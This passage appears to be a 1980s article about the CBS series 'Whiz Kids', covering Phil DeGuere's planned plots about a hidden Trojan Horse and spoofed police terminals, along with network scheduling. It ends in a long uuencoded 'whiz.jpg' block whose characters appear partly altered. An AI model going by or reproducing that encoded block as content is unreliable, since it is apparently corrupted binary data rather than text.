DeGuere offers some upcoming storylines as examples of the broad mixture of the series. "Richie has a friend who he met at the computer store, who happens to be a data processing manager for a local chemical company. As it happens, they have just installed a new computer security program and he thinks the best way to test the program is to have a hacker like Richie try and break it. He hires Richie who breaks into the system and discovers a Trojan Horse buried in the computer. There's a program running inside the computer, developed by a bunch of unscrupulous people working at the company. These people are in the process of doing chemical biological warfare of their own, for sale to unfriendly third world nations.

"Needless to say, the project manager quickly disappears and Richie is the only one who knows he's in trouble. He doesn't know why but he knows his friend is gone. The kids unravel the mystery." The show will also feature a guest appearance by "Simon and Simon's" Jameson Parker in a bid by DeGuere to help link together the two CBS series. Later in the season when the Simons need some computer expertise, they will approach Richie.

"Or," DeGuere offers, "There is a computer used in the San Fernando Valley linking all the policemen to the department's computer. It's been the subject of a lot of articles because of cost overruns. Our story suggests that a clever criminal can figure out how to emulate one of the Mobile Data Terminals or the host computer. These are a bunch of bank robbers who figure out hat with come high tech stuff, they need only 15 minutes to get into the banks, get the money and leave. All you have to is make sure all the local police units in the area that could respond to the call are unavoidably detained for 15 minutes.

"That's what they're doing at the start of the story. Everyone thinks it's a matter of computer error until Richie says, 'There's no such thing as computer error. It's people error.' They go on to prove that by stumbling on to the criminals."

During the conversation, held long before the series finally premiered on October 5, DeGuere points out things are still developing. "We are, at the moment, waiting to see how several different approaches to storytelling turn out on film. Right now, I'm just seeing the rough cut of the first episode after the pilot. So I'd say we're in the gestation period right now. We are not one hundred percent sure of what mutations are going to be appropriate for this particular child. None of the things are quite formulated yet.

"We're trying to inject and build into the scripts as many solid entertainment values as we can. We want to have characters you care about, relationships that feel real and a general sense of fun rather than try and throw everything about computers into it. We're trying to make it high tech on a lot of different levels, not just computers.

"What happens on a new show, based on past experience, is that you don't know what is really working. I don't know until I get a chance to go home on Wednesday night and watch the evening news, watch the promos. I like to see how it leads into the movie and by that time, I will have begun to have an impression of what we're doing right and what we're doing wrong. Most series hit their peak, in terms of quality, in the middle of their second year. It's true of "Simon and Simon" and it's true of almost every other show I've worked on."

The show was originally scheduled to air on Saturday nights but over the summer CBS switched it to Wednesday explaining that it would be a better opportunity to attract the youthful audience a show like "Whiz Kids" needs as a base. There are more TV sets in use on a Wednesday and the competition is diffuse with ABC offering "The Fall Guy" and NBC serving up more "Real People." This gives the show a better chance than if it was put up against "Different Strokes," "Silver Spoons" and "T.J. Hooker."

"My personal feeling is that the show will be given a reasonable chance to succeed. It will probably mean two or three weeks after the World Series and if, by then, it has not established an audience, I do not anticipate it will be moved around‑‑I don't know where they could move it to, frankly."

As a result of researching the series, DeGuere who owns an Apple at home and has an office automation system in place, feels that he is fed up with computers. He complains of not being able to find the interest in running programs on his personal computer and has spent weeks getting the office system to work properly. Between that, researching the series, watching the critics nitpick "WarGames" apart and the press reporting every move made by the nation's hackers (most notably the 414 gang) he's fed up. "People are being bombarded about computers everywhere they turn. They take five steps and somewhere you'll be hit by the subject. Consequently, there may be an overkill factor involved. The best of all possible ways our series can benefit from "WarGames" is if a large number of our potential audience think that "WarGames" was a movie they might have wanted to see if they wanted to go to the movies."

Fact or fiction, reality or overkill, Phil DeGuere is hoping that his series, co‑created with producer Robert Shayne, will find a place in the prime‑time sweepstakes. The idea is certainly unique and he is fortunate enough to have had the show in development when the rest of the world was just beginning to understand the important impact computers are having on our lives. Now, the question remains, do people care enough to tune in once a week and watch a group of students battle for truth, justice and the American Way using microchips, floppy disks and modems instead of guns, badges and sirens!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

begin 644 whiz.jpg

M_]C_[0"3061O8F5?4&AO=&]S:&]P,BXU.@!D````9```.$))30/M```````0 M`&0````!``$`9`````$``3A"24T#\P``````!P``````````.$))30/T```` M```2`#4````!`"T````&````````.$))30/W```````<``#_____________ M________________`^@``/_N``Y!9&]B90!D@`````#_VP!#``0"`P,#`@,# M`P0%!`0$!0<&!04%!PH*"`8("@H‑#0P,#`P‑#A`0#PX/#PT0$1$1$A,5%144 M$A45%145%145%17_P``+"`$1`9`!`1$`_\0`T@````8#`0$!```````````` M!`4&!P,"`0`("0H+$``!`P($`P4$!`H!#@$#`&L!$0(#!`4`(3$2!@=!"!‑1 M(F%Q@10)D:$R%?"Q0B,*P=$6X?%28C,D%W)#‑!B"DADE1%‑C)G,U5">B9+*# MDZ‑TA)3"TC9%LT:DM%;#TU4H&N+RX_/$U.3T976%E:6UQ=7E]69VAI:FML;6 MYO8W1U=G=X>7I[?'U^?W.$A8:'B(F*BXR‑CH^"DY25EI>8F9J;G)V>GY*CI* M6FIZBIJJNLK:ZOK_W0`$`#+_V@`(`0$``#\`X[N\3HZ]S4("#IB!2`"5]IQ' M,Y3^O%.JXUP.AQ@.(/NQ)'*\‑R*8GCJ969AW3$\5RJ&E'=.F)X[D!D]@\"F) M65],6;2#C(DI)&/\R%<@?QXC=$'%Q;(T^&>,&)P14UZ'3$+XWAZ%I]J98J6. M3KB+//V?1B‑%'F\,;(<PU‑<8`(C.6IQ&YJYZ8RT`$'48UV9UU.‑>T;DZ8J[3

MKBI=T!]F,D(/7&L"N3JF‑<Q"3KBH<@)^OPQG‑VX>&,)D`<9VC+%FMTQ)FBZ) MC!^T=N+MT/1,985.0_CB^IQDE6C/3&8QN!'UXP5!0KC"..‑0`J?JQ;<K,L8< M2B$]<6:I5<5>I`(7/IC7!P;GF5TQ4$C'_]#F7B2VTM'Q_P#!U]0:6(/9WDFP MN#&^X8,N.8K956V"EMMRI9:2B:X0/,!CDE74DG4X;N:)PE<W7,YX<KDER_CX MIX.XJN4EMJ*^2C:UE.87`(XYE%(4CJ/#!9<^7=Q@+EMEQA#<R70N(^K"=KN' MS"_87N:[PD:0<!)K9+%$7%S2@P%;&[;HF>+PT\LDK&,!<][D#0,R3A35W+KC MFEIF5$U@N`C<T.:YL)<"#UR7!#6VNY4;B*JCJ(2#I)&X?C&`VR1VYH:2G08C M>)(W%K@6D=#C+9Y4!#G8F;6U#/ROXXEBK:A[<PU/Z3M,2O=&ZD=‑OC:0_;L0 MESAX^@P"GE?')W9;L)S0]`1EB)TQ`1`BKC+9`4&U/'TQ;(G(Y>N,.&B?5C(; ME[=,9D"_9]^(SED>N,$9JF8.,E‑J:XJ,G@XL'`DC/&"F9&*=5&N‑S48D&28L M%08NT_9#O#&0,E&N‑+?3%D'3ZL9"HF,L"XSIT5<5<"OZL9]VGAC0TEPQ9Z:! M<9:S<=S3X8NBDG&=A\HZ],1S‑SS*8O‑3%E!'/_2<BX__T6OYO<,6R?G"(9;Y M26TRQM>]E2`D8`R709G$G&UWN</";.'^_P"'[E3P,1M1`U'N]P)"X:!M%1GA MVJJW_P"&MKV1‑:'9=T8W%V7M`SQT/V+S+3<M[_*V*4‑%:#N`\OV1^+KAY*2I M;,PODV#)#O'[<‑=SI@HWUE*XQ4(V^8N>P9>&&IXPMD3K'.\,M[_+]J(HX#V+ MAM7V](PG4X57(_AB:^<V^&K<'F‑KJIKWR‑"[&LS)^K':E^K[?:(Y623RB‑C? M‑‑W2Q1)D5=AJ>;O,GA.SPMI7%EUG>2V1E+&#W9`T+W>4'P0XYYXTXOI[A>*J MIL]%]U4,FP2QQ(Z0'55(*$G7:@.$OQ/=Z&LAABHZ$4X82Y\CG;GR$ZKX#V8) MVN`9KETSPH*8\#S48=4?>E/4AC58P1OB>[J!H0/#7`&^0VV%D'W=5S5=.X‑< M8YH^[?&[J,B0?:#@NJ"#*\M*M<5!52G[<12$N<7YK^4<9>"'`^BC%?RM=>NM+UR*ZXLU^W+4:K@0WS‑5IQNTY$Y8C.J#&`"AR7&[2/%?Q8T‑\R'KC2TJB(#H MN‑VDC3&[2=1KT&‑+'=<CC*(F1Q8J570%<7R(ST&‑:TM<HTZXEVD.R\,9#%:X MG5,L8#"&@(I7%V,<<MH]N+‑C.S/ZL4[MX<%.1Q*8B`I&‑[D]?'(8P6>/7/%Q M'Y44C%XMH<6GPQ7[+CDK1B*1PS.9`PH>(K::;@2Q5;@@JGR$>['_TD%VG+3M+QLZHIQ1/:D#>Y>?SJ^N>F(6\%UE+P5<:N>S6ZH=6Q‑>)HY?‑$`%R!&OL.&= M@M[W5TT>TJ"?*.F.G>QU2O;RON49F>Q:UQ+$\K"@_'UP[$(V1/#VL<H.9&$M MQ!0P7>XRT@‑#'$^%Q,LB$CIHNF&QX^X1BBX6N‑4V&B#F1[?S;@ONPTU!P[4S M6B2M="YM‑$=SYB‑&C[6WQUQ+RUXG/#G%M)6V:#XNY,<YD+)00P‑<,W%#GDN7 MOPH^/^9‑VJ;YWU5?OC.^B#>Z9$SN:1I(W!C<B2!U.>$+QEQ‑4WDQTM,U\U‑2 M.<YC_P`IX)7[`R&?5"<)"6:&9[GASXYGE'Z;2.F0&‑N)C@D@<R‑DL1:H):@> M=#IF@.`M4XRP1N;&UC&E%;HOMP')"Y:#$O>K$&[B@5&XGMXI)F/9.US7D(QX M>`T'U7IB*YTSZ2K?3DKM^TARS]=#[1B!PS`/@F,#(I]>‑(&1'CC3EH"$7$D# M]KP#H<#',)`/XL1F(H=H/MQ/26VHG<P1C(ZN.0`]N#"KLHIJ24O<TR9%GYQN M87P7!:*1Y<‑P1=,\7;2O<H#5(*8G^$)4%B'P3$4U,6M/UX#;0#U.,;.F?CC2 MW+VXLQOT8O"PEKB>F>>)&.`.F73%G*N?7&6B0N5@R7%@)'DE,21LE<"`#EC) MIYB24/H/#&/AYB$ZKF,8,,J@'+:.O3%3&\$H[%F4\FU=R@=,6[MS54G$4D66 MY=3BCH]Q:&ZD@8=WM"6=EIY6\NXF!'.@)?T!<0"?QX__TP?‑^O@/&ETHZVT0 M5$5"V&03C[;]S=‑‑!X8)N$+MP7262:EN%%,]T@>0BEH7IJ/'"/X9X7AN'$‑5 M\*6.C+GN8SJT=`</_P`@+#‑;>!GTK7!@DG<[81U7"XEIYQ&]FR//4^.$;>X)

M(JC8VC@>T9A=,(/B_@^2N;5W"=D=/&F<,;UW@=,'E;7\‑VGE3;K`L$53<*9M M,70_WMSUR.2DJ<\M‑<<IMNERX)XHO='$Z'XLQ24SGO9N+`3GL70D=?#"7J(P MX=])(CY"H'3,]<;05LE&7R4\CF2[=K7‑Z8".W.<2`<PIRQB0,+&ECG.*>;<$ M0XV#O3$X,7:"KO#VG&U(\L;L@HZ8C(**`<AC6')/3KC`<KAX:8NXKH/?B@:N M9T/7&1N3PQE^34Q7,Z=,*/@&R5_$U\I;/;V;I9#YGN^Q$WQ<>@PM>(^%K7PY

M331NJV/[M1)5N&3W@+M8!T]?QXAX;X=K;]:OC[@YMIL$?F#0C9:AH.K0>GB3 M[L)3CFGI*6Y&*W0=U`UH[MSPI>/%3K@MX:NPME>]U1`VJA>US7,=JU='#U!S MQ(R[24U:UPVRL!W‑$@!#E\<'=HIW7.WR5E*TD,<=[&YF,?LQ2KH7‑C>3FT:G M!9%0RS2.[MBM8"J#$,M,YC4^O`1[D<6G/Q.+,1P1<3Q@!I0KEBT#?‑H2N@P9 MTUOK)G,;#1SR.(R:V‑Q)^K!K'PO?XZ;XF:U5L4#?M2OA>&@=,R,":#A'B*MI M_BJ.TU4].NWO61.+7'P7!W:.5?'M>Y\E+P_5>4H=P#?QG!O5<I^,;70&KO5H MDIX<@'!S20I3,`G"AX>Y"<=U‑*)1;:3;(T%CI9@"%\<B<5F[/W,"2Y&F914+ M,PKW3C:!]"XGNO9NXXHK'67"=]M=W$;GF"%SR]Z#0*T!<$W*_D3>.,:!]PCK M:>CA#MH9("YQ(UR&F#'BGLYW*TBG=‑>J1XD?M<=I:&_2<\(GC7E=4V"'>ZM@ MJP"1^:(_;A(QVAWWC0Q%A5TK&GWNP\_;5@^%X<X%I0C1'"X!@Z(T8__4,*NB M;6<T.‑GU42Q)2‑:2A!1BX.QP]P_‑:Y@ZA82&%H)8%!\<$_+_`(<^&O‑6`VF# M"'$&)‑R)AT.&[5W‑IC$1#';].F!‑53U#F.#F@IH[‑#@HO‑B;42,>YP5,V_T< M,ISH^]:.&HAX=#)'Q5]‑13%\B`RSYL:.B]3AMJSBRLH;AQ?+>G_`U‑)&R*&G MI"`[OR=HW2$$AR!20F0PRM?)‑‑6S32/,CWN+G2*27$]5.>>(I‑P`W.S\,;!L M5IE#G,Z@%"<:][F[F1N*)J.HQ2.1S5`T=J/'$O?_`)H,S+0<@<1.(:$V@J<R M?U8K(XD>GABL:[3Z8PQ,P?'(XE`&6W5,_;A5\NK!2WBH$‑1*(W.T:X*3XD8= M*@Y/61T;'UD$@$GD9W;SYBX>5V&QYL\`UO!U]‑(KYX7,#FREIZ],(\LVY$>W M!OPW>KC:N_@MLSJ<U8#)WM<A<Q51>@\<">*.):FMK*6,/[RGI'%T4+LXP[KE MU]2<SA1V/F.[OC)?8(:N.3)L+8P6P`:%K#Y5RR!R&"WCVY62J#)*&1=T8,C6 MDEYD/12$`'5!A&E7.4:8WJA^O"AY=W5]NOK(@X‑CJ?S<CDT!R7U]1A1V^KIZ MR2LI@T!\#W`QD]!EEZ85=@X5$'!\]P=&XOF!`PA[U0.A!4`',#JF$=('"5P) MU.!$3#DFF!,+`B9KX#!]P‑<&66\4]QEIV5(B>IC?H<=;\FN+*+B:*"3X.DI' MAH1H(+O8/#"XX_C$_`]SIV.A#7PN&YS5`48`<!4`HN!+93"9`UC<PS,^@`&% M;9VAL,@[]R`G/9I@JX^HVU]JCIC/+MDD:K0/M`'1=<*BTP,AI(8VF1K1&$&X M^&(F4\9KWR+,'9*IR`P%XUAC?PI=(W=\KH'M\I.X9',83W*.PP6SA&EB‑'YI M!O?(3FXDZG!GQ/:Z*?X5SK0RH+'*.\+?+ZY]<‑'SLX?I_@)'Q6ED#2"KHW!1 M]6&/DLSV\3V>.‑CE=41[5\=PPK>W‑.XWGA6E=EW5&X[?51C_U5M8Z*.IXSXL M"INJ(6.)"C*,845‑9TC,9+2URC+%N'>'(Z&OFJ&1,&\'<6KG[<*FGH&R4T6_ M(JNT8FG;%3Q&+;N!S).N">LIPZK$@!R'V3X8XT[:‑S8.8#+9;I'PM#S4U4+2 M0TU!``=ZHT``^W#,5‑3)/4U39YW[9Y`Z0N)=N(ZGQ.(9Y8=H9`UX:/M%QS?Z MITP'D51D,8<FT*ASQACB'A"%7KIBWE=/YW$C\IS1^(8P\`/0$D+KC>Z<^‑SF M`$‑.?CB/:@()QL2!Q0J,4(0^PXG@"R‑!R!_'AV>3%/.VH9'31MDD=M(`3<OH MN.@+&YU=0QBL@8P‑``)!#LLOP."#G%:8ZVU0QJVH[L;0'YE#E[<<V\UK&RT7 M.%T8#>]4.;T"82P4>TC%`I*DX%U%(8*6"H<X'OU(:‑0A3$<T#HHF.>0#)F&] M0/'%`WRGQU]V,)B2!Q;,QX^T"#A0W^L$'$]‑=*0!@J8XGR,:$!<6@.^DKAT9 M*NYGA&J:)‑L,,)>P`9YC#‑U5TKI)'E\CB2N1Z8`J9)U)4N.!K`0T)@73‑_‑O M?^4F#3AR@^.K*>E>]K!)(&F1WY*XZ#Y><+1\+UE‑+054=:Y`Y&YD_1A[;?7U M5PX8V5,#*=TGY!77WX/;?3`6NF8)`"QH"[=,#[9$TJ1*OAEBEPA[R2(!Y/FU M3!I3HUC&J2@5!]>`\&TUDS@\N"A#X#$?$8[RW2!LA:'C$=BA;#;V‑'>`@=#E MB&ZQQ.DB;(^8$*<B47UPCN/K4VKHGL9+("=0Y2#ALW\,#^V#8T'>;)0_3PSP M@.W7.UW,RVP?[F@;DNBDX__6<2S.%)Q'?W002%\LS'.<\(TG8!Y2F%%05DCX MU?"`G@<&5JJC5.EB,!81U4(1[L'D43A3L<H:",L!JMH$@5PS&:?CPBN=_$$/ M"7*OB&_3`DPT^R)H)&^1YVM`.HS..0.<_'%JOPAGGMT‑3=W1"(W1P!='"!F2 MUIVF34`Z#VX:4"GDJ))9%BB0[6@*IZ#]N`)\1XXRXN7/WXW\A>A.*E`3TQK? MQZ8RT9H=#B1CW1H&JBKZ'%MBF02‑1Q'7)#@.UA!"!5RQEY`=F/9BT.XSQB‑J MN4(WQ.'CY&7VQU=Q;;KQ(VTUS‑OPLS_L/<N8/@</U9+W/478VSN&LE$>]LC2 MK')JA.`G'D5‑6R5$4,@^(@+07‑.B]%&.<.T;3_!\44E"Z0R/CA+W%513EI[, M‑XX`@8J0=R^N!$\XDCIXQHP(3[3@2#;Y*8_UQDC$VKF'!<_H&*U43&PPOC>U MSY07.8/R`N0)\<!'!'(1IX8$4‑+++,WNVDNU`'5/#!QQ;+124‑L;2‑[JHI]S M96JJJA!!\%7+#T\!F*X\+4T\C‑[9Z9I<"‑<O‑]>&XYG\,TU.U]101;‑JE^W3 M#?TX/?‑P8ANY`%]<#:‑H[ES3Z9X4G!5KK+A‑$*>%[V;PTR‑:2&*?3'6O*_@J

M&VQ44IDWO:QH<7MRS&%_>J:&.F8=P"(F0RP,IG!T,;6N:NT$KUP,H04'F`7) M>N+5+7.FA#2"5&@0^W":YA<T^`N"`ZGXAO=/%5L5:2!99RG38Q2/>F&AN_:Q MX9BN;FVVQUL]*'`&:5\<;D\0S/Z%PL+#SZX`O]N:67>*FD+=SX*AI:]I7,>! M]RX6G"/'?"MW,<%NO%%),\#;$7AKW>P.0DX.*Y^ZKC61J$$G!1?&/DBVEK7@ MI]&$W1TC'<5QR.`6+1.F.9.V=.9N<U2U2[NJ6)H]ZG'_UW#LYO,_&O%]/(PR MT]%+`*<.0?:8"0#UP?1Q5#:9Q=2/4J"0[`KAF%T,U2\0OC\N6]RK[,*IC6RV MZ,.&F>N`QIF!Y4*$R0Z8;7M/\//XFY+<36J%>^9#\5$"=71'<A]H!QP#=0Y]

M+#,X!A<‑K6‑(R:!X:KZG!>7':6%=JJF(T)=EKC#AGKUQDM6,+C0%!!]V#7A7 MAF^\05K*6R4$]9([3NVY#VG08=_@SLR<67.,3WVMI+4"%$3?SLA]J(!].'*L M'9FX(I;5\‑<:BMK*QV9J@\,#?1K$(3VJ<+*S<EN7‑LLWP8LD%47_`‑=FJB7R MO*?TER]@3"3XM[‑G`MQ+IK4VJM$A:`!#)NC!\=KE/UXY^[0_+./EO=K31LK7 M5WQL,DF]S‑I:6N1$4],)KABR5U9155UICW/P3‑\3WM\LL@*[`=‑Q"D#`GBNC MXCJX;5<J^GB?)6Q/?"*8‑=)M8<R]K%+3USZ9X..#.8?%‑#%3VP3‑+(PYC7U& M7=M.JDX4MMY@0T4M4V2M;)(QKG[G#^O/3Q\,‑=QA=IKS?YZZ:0R%^2GP\,%H M`T).AQ12J8UH<Y2ARS)'AB["1@=8Z6JN‑TI+?1P.J9ZB1K(XF`ESB>@3!UQG M9)['=/N:NIFPSTZ/F+05`>`0"3X8+75S*‑\#J9P#HMKVD#1XP!N56^MK)*B4 MC<\J2`@P_P#V>5JN6$>[S]Q‑+'IHU?XX"\UZ%L/"]QD(`<UAS.9&&(IP3,T' M^6#*)=P&#*"‑O<.VZDA3AYNS;=)J:@EH6BF##*'$S#,9XZFX5E9‑;HW`QIF0 MAP(O+6F*,ES`247P&)86DL:06DM'0ZX*...8/#'!5M=‑?KA''(UH<:6+\Y.0 M=#L&8'J4&$_8>.Z+F=:IX+/+<;72[MLU1%W;)@PYH'%=@=X@'#(\[7<H^&:> MNMW#U))4W.0.;+5.D=,Y[E\Q>YQ&:_RQSK7RA]2]PR"HF*V]TK*N‑\"N>"K0 M`IPJ*^[UE3\/(^4M9(X‑VJA@>OVFZ$?5AQ.5':+XJX3N<=JXH>Z_6B,]WWDA M'Q,+/%K_`,K+H[Z<=)6KC?AWBOAN*[\/53:N"5&NV%)(B>CVZM.!'#KFR7;? MJX>/ACD[M73BHYY7P$D!IB8GAD,?_]!R^#*J9_%'&'>!TC65436D!`!W8R7K MA15,S3"Y(Y4((\OLQ%PPH,HV3:%>]Z#"C;‑LA8,\LLL$O%G%_#7#8)OMXI*! M^W<8YI&AZ=#MU3!':N.>&.,;/=7\.5T=?W$;HW`@M;(YP(`4C‑<>=7$#I&7> MX4[V[.[J)6EF61#BH7K@"4(73]6,+F`?YXUY)<`<"+?!)4S,@A89'R.1K!UP MK1P‑‑;#%‑?%A#P'B($9‑_JC^S#@\M.:?"O"‑J;3?#SU$S2`P0,`;ZYG]6'#G M[1?#5JIHWS4[JF1S(WF&E?N<PN"D$D`*W0_5@5:^TSP#42L^+AN%)NU<^$.# M?7RN)^K#K<+<1VGB6R072R5<5;22@ALT9R)&H/4'T.`W&'%U@X9@:^_W&FMS M'A6B:0`O'H‑3[L<O=L'C3A'C.HX=GX>N(KZFC[Z.;:QP:&.0A"0%S&')[,%% M1.Y/VN&+N9YB^5U4S<';7N<4#AT.U,+FHLMKL%NJKC'!24D[FD,<Q@`!37]N M$/<N%.%JSE;Q+'514U96.8Z>.8,&^)^>8..:N(>$*NTL[V7=)$YG>‑F``;M1 M2J]?#"9!W?3C)/ABN:_CQ(USFL>T.(#@C@.H70XEH8#454<`<UKI'!H<\H`3 MXG'879HY1V+A:VLO51/%<;S/'Y:F,JRG!&89^LX1?:@L=NI.8‑=)4R1LCNMM M:.]>!Y'M``=]("GP..;96D.<TIN:2"GIBK<\DSQU'V8+‑\‑RFI*D‑5U;++(< MM1NVC\6(^?EO?^Y‑>^'S.#‑Q#1H`BKCFZUQO?5$@'R@G!I%#N<T:%‑,&<;=M M*[:0B^_"QY=U#X&MBWM9F'9^.'ZY?7ZL[AE&)6R‑``:U/‑Z_1A;TL\SRSO!F MW,8#<<<8V7@?A>KX@O;]L43=L<+#YYY#HQGB3]0SPA(*SACA>TPUO'E*RXW/ MBQK[A*9T)C&1;%NR^PT@=,"CS‑X<AX$K([/;J2G&UPCI"‑K'A<@H1#^+'+/, M*X25‑\JGNA?%ND<<I"YF?0>S"5FS(/KUP84T/PE&*L%PD<4`T`7JN#*T72UP MV6MI*FD^(FJ&.'>D_P!;*A"/48*!LJWF$EK9"@8XH`>F?A[<#^';OQ'P3?XJ MV@FFHJB‑P<6@G9,`>HT<TX[(Y!<;T7'%D9=J=K(YV[8ZJ#K&\#/W'48Y<[0= M4ZIYU<1R..E9M]S4&/_1="SM='<+XQI+FOJ6O\NH.P?LP:/8SX!'.E;X)J<2 M<‑$N,C6=\<D20:^N#FMDD@H'B/\`KY:>Z3,;NB^_'._&_!=P=15LT%CLE]O[ MYGRU<EZC>M<KB062;@`6@IM*!.N&0YF<9<V;1‑1T57;7\)4=%_6*2VTO<4Y/ M](N"[SZEQPU53/)43RU$CMTDKRYY`&9)4XJTJP!.N*JK_0G&'J''QPJ^5‑BI M[_=Y8:LO:R)@<"QQ:05\<.3QAP'+)#2VZBN‑?776MRH[:]S9‑L8U?(X_98/' MZ,)*[\&7&@MU<9Z(3U5JK'4<KJ?<YLKT#B4T`:"A/7&.‑>">+G6ZR3&VTO=U M,0+12@!\2G(2*A'CX845!V>.*)&54TU5`VECC:^&<*DSDS:!Z'KA;]ABR5+Z MOCJAFKJR&*$?#=Q!)M8'NW`R#)`\`#:1IAF^>T‑WI^8]\HKE6UERBH:Q]/33 MU;]\FP)M:7="G3ZL)^P4S*FNACI8MM3#+WCC.3LVC\DH/'KA[N7'$'$‑#QO8 M:_[G8/CB:&H;0S!WQ(/F:YS2`AC0NW9Y*,#.>7&'?\WJ/A2_5S[79Z*‑DKWY M@2/>%!*:@#Z\*[E[‑P6:"N@IKY37*H,;B)F.R+#H"/3#,<[9Z&*PS4K909`( MQ&&E0]'(?J"X:'J,M,6]<&=GL5SNS2;=`ZH+1F&#0`9G"MX1Y57R_P##USKJ M:6$5‑+&L5$2DLSE&05!IZ^F%$[D#Q9%P$.(*D‑IJ@12ROHY"TN8UA"`D'5P4 MA/!#A_.R,V23E'1&J<YLT$DK)&NUR*?BPU/:RY9\21W6]\:2S;K‑3F(QL<XD ML#R&Y#P77#=\+\O9N)*.D^"MM=3OJZ2>:EJ7>:"=T0)*E,E0IGAO=I:\KD04 MQV%V<X9SR6X=[V/NG&!VU/RF[W(?>,&'%E+WM++!*#LD!#@X>5,,3QG8*.WU M$HI(@P/*Y=<)*>/:[<T$9YGPP(E/]B,):%74:X>'@WEE!=>75'?:4U)K'@.+

M6C)/9AVN6O+^"EH:6JEJJ@3N:KR$331",+.:SPTTT$3)R\.R)<BXY5[1O%UM?^>‑OL=4Y\E@L=1'&Z)A_KCLC([V]/8,)#GEQG4\1<41N;.]\‑NEFB@70,WD MM0>Q,#N$;G:J[@:LIKI7B%[3NVECB6GQ`9J/:,(JFMUPO5<ZEL\%3<7,<4$# M'$!3X)^/$5[LE;:*QE‑7LV3ZOCZL/@?7!WQC;!2V2VTPIW‑FV![WDE7[QD`. MJ=3A/4M!43%D<;"7/+@T#7(9X"U5/‑$0YS$R&%Y4RT?$/)‑FYA‑VL,X;N`!W MTS_$ZY'3IA3=B>^5‑NYAU]LW$4M?2.+QT:]GV3[<R,‑]S.F‑3S!OTSG[]]9* M2?\`*./_TG4MM<)J^NC+=O<SM8'‑'VO*,_KP=TT+9)6‑+W;‑PW'0(OCX8;+G M!SL=PMQ:+71P4]+04[]M1<:D/<YYZB‑@0?2<(VU]I.S7"OJV.BJ7F/<87/\` MRP/!K=/'!)>>T=:J:BJ?@@Z6L<Y8P]KG1,)_*Z*GA]>&GXBYZ<>W5TM.^L@= M2.<2V)T#"U/81A+7;BD7*U34==:K:)94<VKIZ<1S,*KJT@)[1@RY#\+6GC'F M%3\‑W>>2FBK8)1#/&<XY0%:0N15$3`'F'P)Q#P9Q+56>[T4\;F3;()MA[N=I M/E<QPR.X=,)ZNIIJ6H?!4Q/AEC*/8]I#FGU!T.)K545D,NVDJ#3&8=VYP<0$

M7J</QV0*HQR72LJYS‑52RLIF2RN+BV)@7:"=`IP[W)&&.>HXTHZ]K9:AM_JC M‑&\!0UX:6E/!S4(PO*CA#AZ=T<KZ&.1[40/S`\,EPG.==[I^&N!*JH[IK_*( M(:<9&:1Y0‑:`0IST&`'9BX2DX4X59350/WA6N‑37.5?SCLPU?ZD9?3@BXWXMM0Y[5T$S1%3\46\U#/*H‑93GSD>#BQRY>!QS;SEM+>%.;M_ML!<8HY&.:3J6

MN:'?KP=\LN‑H+5Q#P]77*0_#4LD[VL!ZN9L'T*<.Y<N8?+_B.LIZ2OI*.L<Q MS235")VP+D`3]8PT7%]GX;J>,FU=+"ZR13U4C9J*E>3&\#‑H:F0WZ9%/#%>> MO+>X\/6VS74RLV5D36FB=(KZ=Q*A@!S<@U/CAJ2K20FFN,C7#A=GJ[Q4/%\= M‑.4BJ$:03E[,=><‑6BWB)E33PL0@([:,PF6>(.;EZI[%P‑6U\R,@B8<SH"<L M`^SK4T]9P:*NA\M/4$R‑!&JX<&IIX[E;7TM1^<B>W:^‑[0YCV^!!4'!#S)J* M3A+E=Q%<HFQQ"AM<PC8P`‑;Y2UH"9`*1ECSW&YSD(5SCH‑23CK[D/!Q\W@6V M17Z.BI*6*‑L<,)C<VI#&CRER';IZ`^.%'Q.UCJ=`JJ<O7#1<PJ2.3O‑RJW(% M,A[,‑E<6M[_NVJ3^/&U02A5P!<HS],=F=G^GB;RSL<4QD<TTX7<$.>'`H&TC M(S&P!I:,BY,‑#VK.8L_+_A^WR6\0R5]=(^.%DB^5@'F?[LDQQ17U]167.HKI M7ET\TIE>_J7$J<0U4CI)WO>I+\R?7!_RYM1NM?/`Y@,8;YWE?(#X9@+[<.IR MMXIH."^(J^W6R*(4,0+JA\I\]21T!RS\,)CFS=;?=KS'<Z9K5D>7N8AS4Y*[ MZL'_`"SH(>*9:^X7EC8Q!3@@@$,C8P9#/V8=BV\L[!'1</S6R‑DTM5&]^^0$ M$M<Q"[Z3@LO?**T3N^$(9&9&L9&XC‑FT:KZC+U.$%4\!G@[@CBBX5\D;3&3% M#!)EW_0IU.14)A/=FR:GM_$5QO!0MIAE%N`<=V3<SDBX2O&5LKF7RLKIVQMC MEJ7/42L)0N7H<?_3<BOJH^&>%KKQ%‑#).Z0]Y!`P%9GN1K&M'4DX:GM(73B. MS\M;/%‑5RR7:>H;>+PR.5&TL3'#NH@`0D8>6MRU()PSG$W,*CXUI*^DXF8Y: MF4R0U$8SA<2OV>H7ZL("AIX:&HK)!4M:R!I4QN"R`Z)Z'PUP02.+G.=XDXHN MFN+A0AP.L=UK+/=J.Y4$ABJ*6021O'0C'7_(WCGAGF[P55</\4QT[[D8^ZJ* M>4@%[1]F2,JH(Z$9@X;7MC<,\.6;BFQ5D=3%63RTK::L#)09@Z)`UT@!52W) M3JF&9GHZ=]2:>D&1*L+L\*+E‑?+KPY62QMM]15L,@>X0!7‑_@</W8KS<;E<F MWRU\/<26NZS,:R6IIXX3'4L;]D2QR.#7)T.1'CA=6^X<UZF`?!VJB+R4#[BT M0_2(YG_4,`N:$0LD?"MYXUDIZZ]=^^*CBIFN;2QR."[@QQ)+P,@X^X#!URNN M<\M.6UTL3*PE6QDHX‑]F!'.2SBX6BCJC\0RMHIVU%%54+!)‑22‑!\PC/VVD9 M/;U&.*>=MUJN(.9][K)98:F5CF1NEIXGQM?W;0%V/\S3X@Z'!9PW?Q;)J?XN MCI[A"P;>ZJV!S0TE2!X+ASHN$>6'&MKIJ[A^MEX:N#D;+`5EA#O%"5`]APVW M,BU_NUQ&ZUT]U%R^':‑U1$TM:U_@"IS&%/P/>F<1TTLM]F[VIM\7?5%RN=2Y MY8&GR,B9ZY`ZDX;>N88ZN>‑Q4B0YC0YXHU%14\#@1:JF2CKXIXG%CF$'UQV1 MV?.+S>>'*9DTNV1C0T^[QP3]M.@XOO5FL5#P_0SU]IB[R:N%,‑SN\"!H(U1" M2/7!%V9>(N9?#/#%;;CPG67&VQL?‑2N>!&X)JP;OM>@QT?PG4SU%HIIZ^E‑+ 